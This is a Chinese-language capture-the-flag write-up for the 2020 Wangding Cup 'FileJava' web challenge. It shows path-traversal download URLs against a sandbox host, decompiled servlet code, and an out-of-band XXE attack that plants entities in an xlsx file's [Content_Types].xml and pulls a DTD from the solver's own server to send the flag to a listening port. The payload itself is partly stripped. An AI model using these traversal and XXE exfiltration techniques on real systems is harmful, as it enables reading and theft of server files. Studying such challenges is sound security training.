2020网鼎杯(青龙组)--WEB--FileJava(XXE)

FileJava

1.打开题目,只有上传和下载的功能,可以上传任意文件和下载文件,但是不能访问,所以不能用一句话连接,在下载文件功能发现可以下载任意文件,于是将WEB-INF/web.xml页面下载下来,发现有上传和下载的配置文件,由2个类组成,将这2个类下载下来。



-


-

DownloadServlet

cn.abc.servlet.DownloadServlet




-

DownloadServlet

/DownloadServlet




-

ListFileServlet

cn.abc.servlet.ListFileServlet




-

ListFileServlet

/ListFileServlet




-

UploadServlet

cn.abc.servlet.UploadServlet




-

UploadServlet

/UploadServlet



首页
http://challenge-f6c012eb074739ac.sandbox.ctfhub.com:10080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml

下载文件类文件
http://challenge-f6c012eb074739ac.sandbox.ctfhub.com:10080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

上传文件类文件
http://challenge-f6c012eb074739ac.sandbox.ctfhub.com:10080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

2.分析上传类和下载类

将文件下载下来后进行反编译,发现downloadservlet限制了flag 的下载,uploadservlet里面当文件头为excel-并且结尾为xlsx时会对该文件进行操作,可能存在XXE。

if (fileName != null && fileName.toLowerCase().contains ("flag")){
	request.setAttribute ("message","禁止读取");
	request.getRequestDispatcher("/message.jsp").forward((ServletRequest));
	return;
}
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
    try {
        Workbook wb1 = WorkbookFactory.create(in);
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getFirstRowNum());
    } catch (InvalidFormatException var20) {
        System.err.println("poi-ooxml-3.10 has something wrong");
        var20.printStackTrace();
    }
}

3.先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx。




%remote;
%all;
]>
&send;

然后在自己的服务器上面新建一个1.dtd,内容为:

">

接着监听自己的服务器的9999端口,然后上传文件。

上传成功后,端口就会收到flag。

2020网鼎杯(青龙组)--WEB--FileJava(XXE)_第1张图片

你可能感兴趣的:(CTF)